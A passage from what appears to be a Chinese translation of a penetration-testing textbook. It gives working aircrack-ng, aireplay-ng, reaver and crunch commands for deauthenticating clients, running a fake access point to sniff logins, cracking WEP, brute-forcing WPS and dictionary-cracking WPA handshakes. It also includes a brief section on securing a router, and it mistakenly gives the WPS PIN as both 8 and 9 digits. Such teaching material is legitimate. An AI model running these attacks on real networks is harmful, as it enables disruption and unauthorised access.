我们还可以看到(在前面的截图中)有一台设备与 Belkin 进行通信;显示了 MAC 地址、设备以及制造商。这些信息非常简单,因为网络是加密的。如果是开放网络,我们可以直接连接,并跳转到有关渗透测试的进一步章节。目前,我们只是希望你能看到加密网络中数据包的样子。将来,你将学习更多相关内容。

去认证攻击

在本书的这一部分,我们将讨论可以在任何处于我们 Wi-Fi 范围内的网络上发起的攻击,即使该网络有加密或使用了密钥。我们不需要连接到网络就能发起这些攻击。

去认证攻击非常有用;它们允许我们断开任何处于我们 Wi-Fi 范围内的设备与网络的连接。为了执行这些攻击,我们伪造自己的 MAC 地址来获取目标 MAC 地址(目标是我们想要断开的客户端)。我们假装自己是客户端,然后向路由器发送去认证数据包,告诉路由器我们希望断开连接。同时,我们将自己的 MAC 地址伪造为 AP 的 MAC 地址,告知目标客户端需要重新进行身份验证。然后,连接将丢失。

让我们看看如何使用一个名为aireplay-ng的工具来实现:

  1. 首先,我们需要在目标网络上运行airodump-ng,因为我们想查看哪些客户端已连接到该网络。这一次,我们不需要--write选项,所以我们会去掉它。我们只需要airodump-ng--channel(我们指定目标网络的频道),以及--bssid(目标网络的 MAC 地址)。命令如下:
airodump-ng --channel 10 --bssid 00:10:18:90:2D:EE wlan0

我们按下Enter键,并开始嗅探目标网络Test。这种方法适用于任何设备,无论是 Linux、Windows、Mac 还是 Android 设备——都没有关系;它们使用相同的数据包传输方法:

现在,我们将运行aireplay-ng,将其中一台设备与网络断开连接。我们可以运行它来断开所有设备,但我发现,当我们这么做时,并不能真正断开所有设备,因为目标设备太多,无法全部断开。所以,我们将选择一个目标设备,即设备6C:C4:D5:6F:A6:DC

  1. 使用aireplay-ng,我们将添加--deauth(用于去认证攻击),然后输入我们将发送的去认证数据包数量;我们会输入一个非常大的数字,以保持设备断开连接。接着,我们将输入目标 AP(我们目标 AP 的 MAC 地址),以及源(或客户端的 MAC 地址),即我们想要断开连接的设备。我们还会包括wlan0,即我们处于监控模式的 Wi-Fi 卡。如果我们按下回车aireplay-ng将开始发送去认证数据包。命令如下所示:
aireplay-ng --deauth 10000 -a EC:1A:59:5A:E1:46 -c 6C:C4:D5:6F:A6:DC wlan0

输出将类似于以下内容:

去目标设备,看看它是否仍然有互联网连接。我们将看到它失去了连接,并且正在尝试重新连接;它将无法重新连接,因为我们仍在发送去认证数据包。我们可以对我们选择的任何网络发起这种攻击;我们不需要知道密码或密钥。

什么是假冒接入点?

基本上,假接入点是一个看起来对用户正常的 AP,而且没有加密,这样人们就可以连接而无需输入密钥。它是一个开放网络,并且应该有一个互联网连接,以吸引人们连接。我们为什么要创建一个假接入点?好吧,如果我们创建了一个,就会吸引大量的人连接到网络并访问互联网。他们将登录自己的账户,我们可以通过数据包嗅探捕捉到他们登录的信息。

创建一个 AP 很简单;只需要正确设置,这样 AP 就能正常工作。我们需要的第一件事是两张卡:

  • 需要有一张卡连接到互联网。卡的类型不重要——无论是 3G、网线还是无线——我们需要的只是能连接到互联网的卡。

  • 第二张卡必须是 Wi-Fi 卡。这张 Wi-Fi 卡将用作 AP,广播 AP 的信号。

在下图中,Hacker 是我们的黑客设备;我们需要将前两张卡连接到我们的设备。第二张卡将广播,告诉周围的所有设备,它是一个用于上网的 AP:

我们将如何做到这一点,它将如何工作呢?假设客户端 1 想访问 Google,它将请求我们的 Wi-Fi 卡,因为我们的 Wi-Fi 卡伪装成了 AP(接入点)。现在,Wi-Fi 卡没有互联网连接,所以我们必须以一种方式设置它,使得一旦收到请求,它会与第二张卡进行通信,而第二张卡已经连接到互联网。然后,第二张卡将打破请求,通过我们的设备转发到 Wi-Fi 卡,再发送回客户端 1:

上述是关于假 AP 如何工作的理论。接下来,我们将实现它,以便查看需要使用的命令。

使用 MANA 工具包创建假接入点

在本节中,我们将讨论一个叫做 MANA 工具包的工具。MANA 工具包允许我们创建假 AP。它非常易于使用,能够自动为我们创建假 AP,因此我们不必手动输入命令。该工具还包含一些脚本,允许我们运行多个工具来嗅探假 AP 中的流量,绕过 HTTPS,甚至尝试绕过 HSTS。

该工具包含三个主要脚本:

  1. start-noupstream.sh:这个脚本基本上会创建一个假 AP。这个 AP 没有互联网连接,因此当有人连接到这个假 AP 时,他们将无法连接到互联网。

  2. start-nat-simple.sh:这个脚本会创建一个带有互联网连接的假 AP。因此,当有人连接到这个 AP 时,他们将能够访问互联网,所有的数据包都会通过我们的设备(因为我们是路由器),所以我们可以分析、捕获并读取这些数据包。

  3. start-nat-full.sh:这个脚本将创建一个带有互联网连接的 AP,并且它还会自动开始嗅探并记录流经假 AP 的数据包;它还会尝试绕过 HTTPS 和 HSTS。

我们不会使用start-nat-full.sh脚本,因为它实际上经常失败。我们只会使用start-nat-simple.sh脚本来创建一个有互联网连接的 AP。未来,我们将看到如何捕获并分析数据包。

在更详细介绍之前,我们先来看看 Kali 机器的设置。进入设置 | 网络,确保你正在使用 NAT 网络。这正是我们在第三章中看到的,Linux 基础

运行以下命令来安装 MANA 工具包:

apt-get install mana-toolkit

如果已经安装,它会告诉我们已经安装,并显示其版本。如果我们使用ifconfig,我们会看到一个名为eth0的接口;这个接口实际上是 VirtualBox 在 NAT 网络中使用的,因此它是一个虚拟接口,连接到该网络:

它正在为机器提供互联网连接。目前,我们没有无线网卡连接到它。如果我们使用iwconfig,我们会看到互联网连接来自eth0

如果我们尝试使用ping www.google.com -c 5命令进行 ping 操作,我们将收到来自 Google 的响应,这意味着机器已经连接到互联网:

现在,我们将无线网卡连接到 Kali 机器;进入设备 | USB,选择我们的网卡。运行iwconfig时,网卡应该会显示出来:

所以,wlan0网卡只是用来广播信号的;它不用于提供互联网连接。这个网卡处于管理模式,且没有连接到任何网络。

现在,我们将设置 MANA 的配置并启动虚拟 AP:

  1. 首先,我们需要修改位于/etc/mana-toolkithostapd-mana.conf文件,使用 Leafpad 编辑器。我们使用 Leafpad 是因为这是我们用来修改文件的编辑器。我们将输入文件所在的路径:
leafpad /etc/mana-toolkit/hostapd-mana.conf
  1. 在这里,我们可以修改我们使用的虚拟 AP 的设置。最重要的是我们将用来广播信号的接口;对我们来说,这个接口被称为wlan0。记住,当我们运行iwconfig时,wlan0就是我们用来广播信号的无线网卡,并且它没有连接到任何东西。现在,我们可以修改 MAC 地址(或网络名称);在我们的例子中,网络名称将设置为Internet,并且channel将设置为6。我们不会修改其他任何内容;这只是为了说明如何检查名称:

  1. 我们想要修改的另一个文件是start-nat-simple.sh脚本;这个文件将启动虚拟 AP。我们将再次使用 Leafpad,命令如下:
leafpad /usr/share/mana-toolkit/run-mana/start-nat-simple.sh
  1. 首先要做的是确保正确设置了phy参数;这将是你的无线网卡。我们已经知道无线网卡的名称是wlan0。接下来,upstream参数非常重要;我们应该指定有互联网连接的网卡。在我们的例子中,它被称为eth0,是 VirtualBox 创建的虚拟网卡。同样,如果一切设置正确,我们不会修改任何内容。保存文件:

  1. 我们的最后一步是运行 MANA,它将运行start-nat-simple.sh脚本。这次我们将使用bash,而不是使用leafpad,来执行文件。我们的命令如下:
bash /usr/share/mana-toolkit/run-mana/start-nat-simple.sh

有时候,我们会遇到一个错误,提示无法配置文件;在这种情况下,只需重新运行命令,第二次应该就能正常工作,如下图所示:

在这个虚假 AP 运行之后,我们将去我们的 Windows 机器上并尝试从中连接。我们将使用另一张无线网卡为 Windows 机器,因为 Windows 机器也将作为虚拟机存在。我们可以尝试从我们的手机或另一台笔记本电脑连接;不要从主机机器连接,因为它将没有互联网连接(它为所有设备提供互联网连接)。可以从您的手机、独立的笔记本电脑或虚拟 Windows 机器测试连接,但一定要使用不同的无线网卡。

  1. 回到我们的 Windows 设备,我们将搜索要连接的网络。如下面的截图所示,我们有一个额外的网络,称为 Internet,并且没有密码:

  1. 我们将尝试连接到这个网络。一旦成功连接,我们将看到我们通过虚假 AP 有了互联网连接,并且所有的数据包现在都流经这个设备:

设备就是 AP,就像路由器一样。我们实际上可以使用 Wireshark(或任何其他工具)、tcpdump或 TShark 来捕获和分析数据包。

总结

在本章中,你迈出了学习网络渗透测试的一步。我们从嗅探的基础知识开始,并使用airodump-ng查看我们 Wi-Fi 范围内的所有网络。我们收集了关于网络的信息,包括BSSID、信道、我们与 AP 之间的距离以及使用的加密方式。然后,我们讨论了有针对性的数据包嗅探,并概述了 Wireshark 工具。接着,我们演示了如何发动去认证攻击。在章节末尾,我们研究了虚假 AP,展示了如何使用 MANA Toolkit 创建一个。

在下一章中,我们将通过连接到网络来攻击目标,这将允许我们发动更强大的攻击。

第六章:网络渗透测试 - 获取访问权限

到目前为止,在本书中,我们并不需要连接到网络进行任何操作。在这一章中,随着我们迈出学习网络渗透测试的步伐,我们将连接到网络。这将使我们能够发起更强大的攻击并获得更准确的信息。如果一个网络没有加密(换句话说,它是一个开放的无线网络),我们可以连接到它并嗅探未加密的数据。如果是有线网络,我们仍然可以尝试连接它,可能通过更改我们的 MAC 地址。我们可能遇到的主要问题是网络使用了加密(例如 WEP、WPA 或 WPA2)。如果我们遇到加密数据,我们需要知道密钥来解密它,这也是本章的主要目的。

如果你的目标网络使用某种加密方式,你无法进行任何操作,除非解密它。在这一章中,我们将讨论如何解密 WEP、WPA 和 WPA2 加密。

本章将涵盖以下内容:

  • WEP 理论

  • 基础网页破解

  • 假认证攻击

  • ARP 请求重放

  • WPA 介绍

  • WPA 破解

  • 握手理论

  • 捕获握手

  • 创建字典

  • 字典破解

  • 保护网络免受攻击

WEP 理论

我们将讨论的第一个加密方式是有线等效隐私WEP)加密,因为它是最古老的加密方式,也是最容易破解的。WEP 加密使用一种叫做 RC4 的算法;每个数据包都在接入点AP)加密,然后发送到空中。一旦客户端接收到数据包,客户端就能解密数据包并读取其中的信息,因为客户端拥有密钥。简而言之,AP 加密数据包并发送出去,客户端接收并解密它。同样,当客户端自身发送数据包时,客户端加密数据包然后发送出去,AP 接收并使用密钥解密它。

每个发送的数据包都有一个唯一的密钥流。WEP 通过使用 24 位初始化向量IV)来确保密钥流的唯一性。IV 是一个随机数,它以明文形式发送到每个数据包中,未加密。如果我们读取该数据包,就能以明文方式读取其中的一部分。

IV 的问题在于它非常短(24 位,长度不算长)。在一个繁忙的网络中,会发送大量的数据包,随机 IV 的可能性会被耗尽,最终会出现两个数据包具有相同的 IV。如果发生这种情况,我们可以使用 aircrack-ng,它通过统计攻击来确定密钥流;它能够确定 WEP 密钥。

从前面的信息中,我们知道,收集的 IV 数量越多,我们破解 WEP 密钥成功的可能性就越大。我们尝试破解 WEP 的主要目标是尽可能多地收集 IV,因为当我们收集到大量的 IV 时,就会出现两个使用相同 IV 的包,aircrack-ng就能通过这些包确定密钥流和目标网络的 WEP 密钥。在本章的下一部分,我们将看到这个过程如何实际工作,应该会更容易理解。

基本的 WEP 破解

通过前面的部分,我们知道,破解 WEP 密钥所要做的就是嗅探目标网络的数据包并尽可能多地收集 IV。一旦完成这些操作,aircrack-ng就能利用统计攻击来确定目标网络的密钥流和 WEP 密钥。显然,当我们拥有超过两个数据包时,这种方法会更有效,我们破解密钥的成功几率会更高——我们将尽量收集尽可能多的 IV。

让我们看看最基本的破解 WEP 密钥的案例。Wi-Fi 卡必须处于监控模式,我们要做的第一件事是查看所有在我们 Wi-Fi 范围内的网络;然后,我们将选定其中一个网络作为目标。我们将运行airodump-ng wlan0,这是一个非常基础的命令,其中wlan0代表接口。以下将作为输出显示:

第一个出现的网络是Test;这是我们将要进行攻击的网络。我们将使用以下命令对Test网络启动airodump

airodump-ng --bssid 54:B8:0A:9E:54:2D --channel 11 --write basic-test-ap wlan0

在这里,我们输入--bssid并对Test接入点启动airodump。我们包括--channel频道号11,并添加--write来将我们捕获到的所有数据包存储到一个名为basic-test-ap的文件中。当我们运行上述命令时,我们将能够看到以下屏幕截图中的输出,我们收集到的数据很繁忙,而且数据和帧正在传输:

这是一个繁忙的网络;以下是我们可以看到客户端的部分:

现在我们要做的就是启动aircrack-ng,这是aircrack套件的一部分,针对airodump为我们创建的文件进行攻击。即使我们没有停止airodump,也可以对该文件启动aircrack;它会继续读取文件,并读取airodump正在捕获的新数据包。使用的命令如下:

aircrack-ng basic-test-ap-01.cap

当我们使用 aircrack-ng 时,我们将输入文件名 basic-test-ap-01.cap。在文件仍在创建中,随着新数据包的不断加入文件越来越大时,我们可以运行 aircrack-ng,它会不断更新,最终给出我们破解所需的密码。如果 aircrack 未能确定密钥,它会等待直到达到 5000 个 IV,然后再试一次。

IV 的数量实际上取决于 WEP 加密的类型。WEP 加密有两种类型:128 位和 64 位。唯一的区别是密钥的长度;显然,64 位需要的 IV 数量低于 128 位。记住我们在讨论 aircrack 时曾指出,获得的无唯一 IV 的数据包越多,我们破解 WEP 密钥的机会就越大。

现在,我们基本上在等待 aircrack 成功破解 WEP 密钥。一旦它解密了密钥,我们可以按 Ctrl + C。如以下截图所示,aircrack 已成功在数据包中找到了密钥;这是因为目标 AP 使用的是 64 位密钥:

让我们看看如何使用这个密钥连接到网络。我们将复制密钥并使用该密钥进行连接。然后我们就可以连接到目标网络:

如你所见,我们的连接已经建立;我们成功地从目标网络恢复了 WEP 密钥。我们可以通过 ping Google 来确认:

假身份认证攻击

在前一部分中,我们看到在繁忙的网络中破解 WEP 密钥是多么容易。在繁忙的网络中,数据增长非常迅速。问题是,我们现在要伪装成一个没有任何客户端连接的 AP,或者一个虽然有客户端连接,但该客户端使用网络的频率比上一部分的客户端低(可能该客户端只是在阅读文章或浏览 Facebook,并没有像上次那样使用大量数据)的 AP。

看一个例子。我们将对目标 AP Test 运行 airodump,来查看一个空闲的 AP。现在我们有了 Test,就是之前使用过的那个 AP,但不同的是我们已经断开了之前连接的设备。如我们所见,在第二个区域(客户端区域),没有客户端连接。同时,我们还可以看到 #Data0——它甚至没有到达 1

这将是我们面临的问题——我们希望能够破解像这样具有 0 数据的密钥:

我们可以做的是向流量中注入数据包。当我们向流量中注入数据包时,我们可以强制 AP 生成带有新 IV 的数据包,然后捕获这些 IV。但是在注入数据包之前,我们必须先将设备认证到目标 AP。AP 会记录所有已连接到它的设备,并会忽略任何来自未连接设备的数据包。如果设备没有密钥并尝试向路由器发送数据包,路由器会直接忽略它;它甚至不会尝试读取数据包内容或查看里面是什么。在我们向路由器注入数据包之前,必须先通过认证。我们将使用一种称为伪认证的方法,它非常简单。

我们在上一节中已经执行了airodump。现在让我们看看如何使用伪认证。在前面的截图中,我们可以看到AUTH下没有任何值。一旦我们完成伪认证,我们会看到OPN显示在这里,这意味着我们已经成功地将设备伪认证到目标 AP 上。为此,我们将使用以下命令:

aireplay-ng --fakeauth 0 -a 54:B8:0A:9E:54:2D -h 2e:a0:66:4b:85:29 wlan0

使用aireplay-ng时,我们将使用--fakeauth攻击;我们包括了攻击类型以及我们希望发送的数据包数量,即--fakeauth 0

我们只会输入0;有些人会使用一个较大的数字,当他们进行一个需要 5 到 10 分钟的攻击时,但对于我们来说,我们只会使用0,之后可能会再更改。

我们将使用-a选项并指定目标 MAC 地址(即54:B8:0A:9E:54:2D)。接着我们将使用-h来包含我们的 MAC 地址,这样我们就可以将自己的 MAC 地址与目标网络进行认证。为了获取我们的 MAC 地址,我们将运行ifconfig wlan0命令:

我们的 Wi-Fi 卡的名称是wlan0。使用aireplay-ng时,我们尝试执行的攻击类型是伪认证攻击,用于将我们的 MAC 地址认证到目标网络,以便我们可以向目标网络注入数据包。我们将发送0(表示只执行一次),然后是-a(后跟 AP 的 MAC 地址),接着是-h(这里我们填入需要进行伪认证的设备的 MAC 地址),最后是wlan0,即 Wi-Fi 卡的名称;现在按下Enter键:

如前面的截图所示,-a发送了一个认证请求,并且认证成功。网络变成了开放网络,我们的客户端(即我的攻击设备)看起来像是一个已连接到网络的客户端。我们实际上并没有连接,但我们已与网络完成认证并建立了关联,这样我们就可以向 AP 注入数据包——它现在会接收我们发送的任何请求。以下是输出结果:

在接下来的部分中,我们将看到如何注入数据包,以及如何使数据快速增长。

ARP 请求重放

现在,接入点接受我们发送的数据包,因为在成功通过伪认证攻击与接入点关联后,它不会再忽视我们。我们现在已经准备好向接入点注入数据包,并迅速增加数据量,以便解密 WEP 密钥。

我们将讨论的第一个数据包注入方法是 ARP 请求重放。在这个方法中,我们会等待一个 ARP 数据包,捕获这个数据包,然后将其注入到流量中。这样做时,接入点会被迫生成一个带有新 IV 的新数据包;我们捕获这个新数据包后,再将它注入到流量中,强迫接入点生成另一个带有新 IV 的数据包。我们将不断重复这个过程,直到数据量足够大,能够破解 WEP 密钥。

让我们在 Kali Linux 中进行操作。我们要做的第一件事是使用以下命令启动airodump-ng

airodump-ng --bssid 54:B8:0A:9E:54:2D --channel 11 --write arp-request-replt-test wlan0

我们将向命令中添加--write选项;我们将其命名为arp-request-reply-test。运行后,我们会看到目标网络的0数据,它没有任何客户端与之关联,也没有流量通过,因为没有客户端连接,这意味着它没有用,我们无法破解其密钥。

我们要做的第一件事是进行伪认证攻击,如伪认证部分所示,以便我们可以开始向网络注入数据包,并且它会接受这些数据包。

这就引出了我们的下一步,即 ARP 请求响应步骤,在这一阶段我们将向目标网络注入数据包,迫使它生成带有新 IV 的数据包。命令如下:

aireplay-ng --arpreplay -b 54:B8:0A:9E:54:2D -h be:03:87:39:5e:5a wlan0

这个命令与之前的命令非常相似,但我们不使用--fakeauth,而是使用--arpreplay。我们还将包括-b,用于 BSSID。使用这个命令,我们将等待一个 ARP 数据包,捕获它,然后将其重新注入到空中。接着我们可以看到,我们已经捕获到一个 ARP 数据包,注入后又捕获到另一个,注入到流量中,依此类推;接入点(AP)会生成新的数据包,带有新的 IV,我们接收到这些数据包后再将它们注入,这个过程会不断重复:

Data的数量达到 9000 或以上时,我们可以启动aircrack-ng。当我们使用aircrack-ng和文件名时,果然可以看到 WEP 密钥,并且我们能够在15012个 IV 之后破解它。

WPA 介绍

在本章接下来的部分中,我们将讨论Wi-Fi 受保护访问 (WPA) 加密。这种加密是在 WEP 后设计的,目的是解决 WEP 很容易被破解的问题。WEP 的主要问题是 IV (初始化向量)太短,它以明文形式在每个数据包中发送。短 IV 意味着在活跃的网络中,数据包中每个包都能有唯一 IV 的可能性会被耗尽,因此当我们注入数据包(或者在自然的活跃网络中)时,我们会遇到多个数据包具有相同的 IV。当这种情况发生时,aircrack-ng 可以利用统计攻击来确定密钥流和网络的 WEP 密钥。

然而,在 WPA 中,每个数据包都是使用唯一的临时密钥加密的。这意味着我们收集的数据包数量并不重要;即使我们能够收集到一百万个数据包,这些数据包也没用,因为它们不包含任何有助于我们破解 WPA 密钥的信息。WPA2 也是如此;它采用相同的方法,并且可以通过相同的方法进行破解。WPA 和 WPA2 之间的唯一区别是 WPA2 使用了一种叫做计数模式密码块链消息认证码协议 (CCMP) 的加密算法。

WPS 破解

破解 WPA 或 WPA2 加密的网络并不简单,特别是因为所有发送出去的数据包对我们并没有什么用处,因为它们不包含任何有助于我们确定 WPA 密钥的信息。在我们开始破解 WPA 和 WPA2 之前,我们将先了解一个叫做 WPS 的功能;它允许用户和客户端通过按下一个按钮连接到网络。在 Windows 8 上,如果你查看一些 Wi-Fi 打印机,它们有一个 WPS 按钮;如果你按下 WPS 按钮,然后去你的路由器按下 WPS 按钮,或者如果你进入配置页面并按下 WPS 按钮,那么客户端、打印机或 Windows 设备将无需输入密钥即可连接到网络。WPS 是一种允许客户端轻松连接到网络的功能,无需手动输入 WPA 密钥;它只是路由器中的一个功能。

这个功能通过 8 位数字 PIN 验证客户端, 它并不使用实际的 WPA 密钥。WPS 仅包含数字,其可能性并不多。如果我们使用暴力破解攻击,必定能够猜出 PIN。如果我们成功猜出了 PIN,我们可以使用一个叫做reaver的工具,它将根据 PIN 计算出 WPA 密钥。我们将对 PIN 进行暴力破解;因为它只有 9 位数,所以我们一定能成功。一旦破解成功,我们可以使用reaver来计算 WPA 密钥。

为了寻找启用了 WPS 的接入点,我们将使用一个叫做 wash 的工具。我们将使用 wash -i wlan0 命令。我们在以下截图中看到我们的Test接入点——这就是我们要破解的接入点,实际上它现在正在使用 WPA,而不是像我们之前看到的使用 WEP:

为了检查 AP 是否实际使用了 WPA 加密,可以运行 airodump-ng wlan0

上述是启用了 WPS 的 AP 列表。我们可以看到 ChdBm(即我们与 AP 之间的距离)、WPS 显示了 WPS 版本,Lck 显示其是否被锁定。现在,一些路由器在我们尝试暴力破解 WPS PIN 时,会在几次失败后被锁定。例如,如果我们输入四个错误的 PIN,它们会被锁定,并且在一段时间内不再接受任何 PIN。如果 Lck 显示 Yes,我们将无法继续使用攻击;需要稍等一段时间,然后再连接到 AP。

我们现在运行 reaver,它将暴力破解 WPS PIN,一旦找到 WPS PIN,它就会计算出 WPA 密钥。reaver 支持暂停和恢复。例如,如果我们通过暴力破解已经尝试了 30% 的可能性,然后取消了攻击,当我们回来时,它将从 30% 继续,而不是从 0% 开始。

让我们启动 reaver;我们将使用 -b 选项选择目标 AP 的 BSSID(即 MAC 地址),然后使用 -c 选项选择频道,这里是 11,接着,我们可以选择 Wi-Fi 卡 -i,并启用监控模式,这里是 wlan0。命令如下:

reaver -b 54:B8:0A:9E:54:2D -c 11 -i wlan0

我们按下 Enterreaver 会与目标 AP 进行关联;它将尝试确定 WPS PIN。在截图中,我们可以看到一个简单的 PIN,即 12345670;通过这个,reaver 能够计算出 WPA 密钥 UAURWSXR

现在,我们可以直接连接到网络;如果输入我们刚刚找到的密钥 UAURWSXR,就可以连接了。

现在,reaver 有一些选项。我们可以运行 reaver --help 来查看所有可以与 reaver 一起使用的选项。如前所述,一些路由器在几次失败后会锁定;因此,我们可以使用这些高级选项来让 reaver 针对这些 AP 进行工作。例如,我们可以使用 --delay 选项来指定每次暴力破解尝试或每次 PIN 尝试之间 reaver 应等待的时间(单位:秒)。我们还可以使用 --lock-delay 告诉 reaver 在 AP 被锁定后,例如 60 秒,再继续暴力破解尝试。我们还可以使用 --fail-wait 选项来设置在 10 次失败尝试后 reaver 应该等待的时间。此外,我们可以使用 -r 选项来告诉 reaver 在一定次数的尝试后休眠若干秒。我们可以设置 --timeout 选项,调整这些选项、--delay 选项和 --fail-wait,如果 AP 被锁定或忽略了我们的一些暴力破解尝试。

握手理论

在上一节中,我们看到如何利用路由器的 WPS 功能来破解 WPA 密钥。这个过程在每个启用 WPS 的网络上都能保证有效;因此,如果你的目标使用 WPA 或 WPA2 加密并且启用了 WPS,那么应该首先尝试使用 WPS 破解密码。然而,如果 WPS 没有启用,我们就得破解实际的 WPA 密钥。如我们在WPS 破解部分中所解释的,WPA 中每个数据包都是使用一个独特的临时密钥加密的,这不同于 WEP,其中 IV 是重复的,我们会收集大量具有相同 IV 的数据包。在每个 WPA 数据包中,都会有一个临时的唯一 IV,即使我们收集了一百万个数据包,这些数据包对我们也没有用——它们不包含任何能帮助我们确定实际 WPA 密钥的信息。

唯一包含可以帮助我们确定密钥信息的数据包是握手数据包。这些是四个数据包,在一个新设备或新客户端连接到目标网络时发送。例如,当我们在家时,我们的设备连接到网络,已知密码,并且一个被称为四次握手的过程会在设备与 AP 之间发生。在这个过程中,四个数据包(称为握手数据包)在两个设备之间传输,用于验证设备的连接。通过使用aircrack-ng,我们可以利用字典列表,通过握手测试字典中的每一个密码。要破解 WPA 加密网络,我们需要两样东西:我们需要捕获握手,并且需要一个包含密码的字典列表。

捕获握手

要破解 WPA 密钥,我们首先需要做的是捕获握手。我们将使用airodump-ng来捕获握手,方式与我们在 WEP 加密网络中使用的方法相同。我们将使用airodump-ng --bssid,就像我们对 WEP 网络运行时一样;归根结底,我们只是使用airodump-ng来捕获数据包,它执行的工作是一样的。我们将包括频道信息,然后将数据写入一个文件,文件名为test-handshake;同时还会包括无线网卡的监控模式。我们使用与捕获 WEP 网络数据包时相同的命令airodump-ng --bssid。我们指定目标 AP,--channel;目标频道,--write;存储文件的名称;以及wlan0,我们的 Wi-Fi 卡,处于监控模式。命令如下:

airodump-ng --bssid 54:B8:0A:9E:54:2D --channel 11 --write test-handshake wlan0

一旦我们启动此命令,我们将拥有一个 WPA 加密的网络,并且会有一个客户端连接到该网络。为了捕获握手,我们可以坐下来等待一个设备连接到网络。一旦设备连接上网络,我们就可以捕获握手,或者我们也可以使用在上一章中学到的一种方法(第五章,预连接攻击),即去认证攻击。

在去认证攻击中,我们将会断开任何在我们 Wi-Fi 范围内的设备与网络的连接。如果我们只断开很短的时间,我们可以让设备从网络断开一秒钟;设备会自动尝试重新连接网络,甚至使用设备的人也不会注意到他的设备已经断开并重新连接。我们就能够捕获握手数据包。再说一次,每当设备连接到目标网络时,握手信息都会发送。

现在我们只需要运行一个基本的认证攻击,使用aireplay-ng。我们在第四章中研究过它,网络渗透测试,在这一节我们使用了大量的数据包来断开目标设备的连接。现在我们只会发送少量数据包:四个去认证数据包。接下来,我们会指定-a,即目标 AP 的 MAC 地址,-c,指定要断开连接的客户端的 MAC 地址。然后我们会指定 Wi-Fi 网卡名称,即wlan0。我们使用aireplay-ng --deauth,攻击类型,以及4个认证数据包来断开设备与 AP 的连接。命令如下:

aireplay-ng --deauth 4 -a 54:B8:0A:9E:54:2D -c B8:76:3F:F8:F5:CD wlan0

如下图所示,我们成功捕获了 WPA 握手,目标设备甚至没有改变,或者没有断开连接:

我们没有收到任何关于断开连接的消息,因为我们只断开了很短的时间;结果,甚至使用设备的人都没有注意到,我们也成功捕获了握手信息。现在我们可以使用词表,并将其与握手进行比对,尝试确定主要的 WPA 密钥。

创建词表

现在我们已经捕获了握手信息,接下来只需要通过创建一个词表来破解 WPA 密钥。词表只是一个单词列表,aircrack-ng会逐个尝试这些单词与握手信息进行比对,直到成功确定 WPA 密钥。词表越好,破解 WPA 密钥的成功几率就越高。如果密码不在你的词表文件中,你将无法确定 WPA 密钥。

我们将使用一个名为crunch的工具。它实际上只是一个脚本;我们指定希望出现在密码中的字符,它就会创建这些密码的所有可能组合。使用crunch的命令格式是crunch [min] [max][min]是我们希望创建的密码的最小字符数,可以设置为四、五、六等;[max]是密码的最大字符数。我们可以指定密码中使用的字符,例如可以指定abcdefg,所有小写字母,然后可以加入大写字母,数字和符号。

-t 选项非常有用,如果我们知道密码的一部分;它是一个模式。例如,如果我们试图猜测密码,并且我们看到有人输入密码,我们知道它以a开头,以b结尾,我们可以使用模式选项,并告诉crunch创建始终以a开头,以b结尾的密码,并且它会将我们在命令中指定的字符的所有可能组合放在一起。

假设我们要创建最少六个字符和最多八个字符的密码,并且密码将是由字符1, 2, 3, 4, 5和符号组合而成。它将存储在名为wordlist的文件中,模式是wordlist文件中密码始终以a开头,且始终以b结尾。我们将在文件中看到的所有密码都将以a开头,以b结尾,并且它们将具有我们在ab之间指定的字符的所有可能组合。

让我们只运行crunch并创建一个示例单词表。我们将使用crunch,然后设置最小为4,最大为6。我们只需放入123ab,并将其存储在sample-wordlist中。crunch将创建密码组合(至少四个字符,至多六个字符),并将创建123ab的所有可能组合。它将把组合存储在名为sample-wordlist的文件中。命令如下:

crunch 4 6 123ab -o sample-wordlist

以下是前述内容的输出:

我们可以通过运行cat sample-wordlist来读取,并且我们可以看到文件中存储的所有密码,如下面的截图所示:

我们可以看到crunch为我们创建的所有密码。我们在命令中放入的密码越大且包含的字符越多,我们可以制作的密码就越多,它们会占用更多的空间。

让我们来看看模式选项。我们将使用crunch,最小为5,最大为5,因此所有密码都将是五个字符长,然后我们将放入字符123ab(如前所述),然后我们将添加-t选项,即模式选项。然后,我们将说明密码以a开头,以b结尾,并且我们希望在ab之间的字符的所有可能组合。然后,我们将指定输出文件-o;让我们称之为pattern-wordlist。以下是命令:

crunch 5 5 123ab -t a@@@b -o pattern-wordlist

输出如下所示:

它创建了125个密码;让我们看看它们。正如我们在下面的截图中所见,它们始终以a开头,始终以b结尾:

我们可以使用crunch来创建您的单词列表,在下一节中,我们将使用单词列表和握手文件来确定实际的 WPA 密钥。

单词列表破解

现在我们已经从目标 AP 捕获了握手,我们准备好使用单词列表,我们可以使用aircrack-ng来破解目标 AP 的密钥。aircrack-ng将遍历单词列表文件,将每个密码与我们目标 AP 的名称结合起来,并创建一个Pairwise Master KeyPMK)。 PMK 是通过使用称为 PBKDF2 的算法创建的,它不像只是将密码和 BSSID 组合在一起;它以一定的方式对它们进行加密,并将 PMK 与握手进行比较。如果 PMK 有效,则使用的密码是目标 AP 的密码;如果无效,则aircrack-ng尝试下一个密码。

我们使用aircrack-ng,包含握手的文件名test-handshake-01.cap,以及-w和单词列表的名称wordlist。命令如下:

aircrack-ng test-handshake-01.cap -w wordlist

现在我们要按下Enteraircrack-ng将遍历列表;它将尝试所有密码,并将每个密码与目标 AP 的名称结合以创建一个 PMK,然后将 PMK 与握手进行比较。如果 PMK 有效,则用于创建 PMK 的密码是目标 AP 的密码;如果 PMK 无效,则它将尝试下一个密码。

如下截图所示,密钥已找到:

这是使用单词列表的最基本方法:破解密码只需42 秒。速度取决于处理器的快慢,以及我们是否有任何正在运行的进程使我们的计算机变慢。

从攻击中保护网络

为了防止我们的网络受到本章中解释的破解方法的影响,我们需要访问路由器的设置页面。每个路由器都有一个网页,用户可以在该网页上修改路由器的设置,通常在路由器的 IP 上。首先,我们要获取我的计算机或设备的 IP,然后运行ifconfig wlan0命令;如下截图所示,突出显示的部分是计算机的 IP:

现在打开浏览器,访问192.168.0.1;对于这个示例,计算机的 IP 是25。通常情况下,路由器的 IP 是子网的第一个 IP。此时,它是192.168.0.0,我们只需加上1,因为那是子网中的第一个 IP,这将带我们进入路由器设置页面。在设置页面,它会要求输入用户名和密码。路由器通常都有预设的用户名和密码——我们可以查看默认的用户名和密码;强烈建议之后更改它们。通常这些信息会写在手册中,所以查看手册,了解默认的用户名和密码,然后用这些凭证登录。

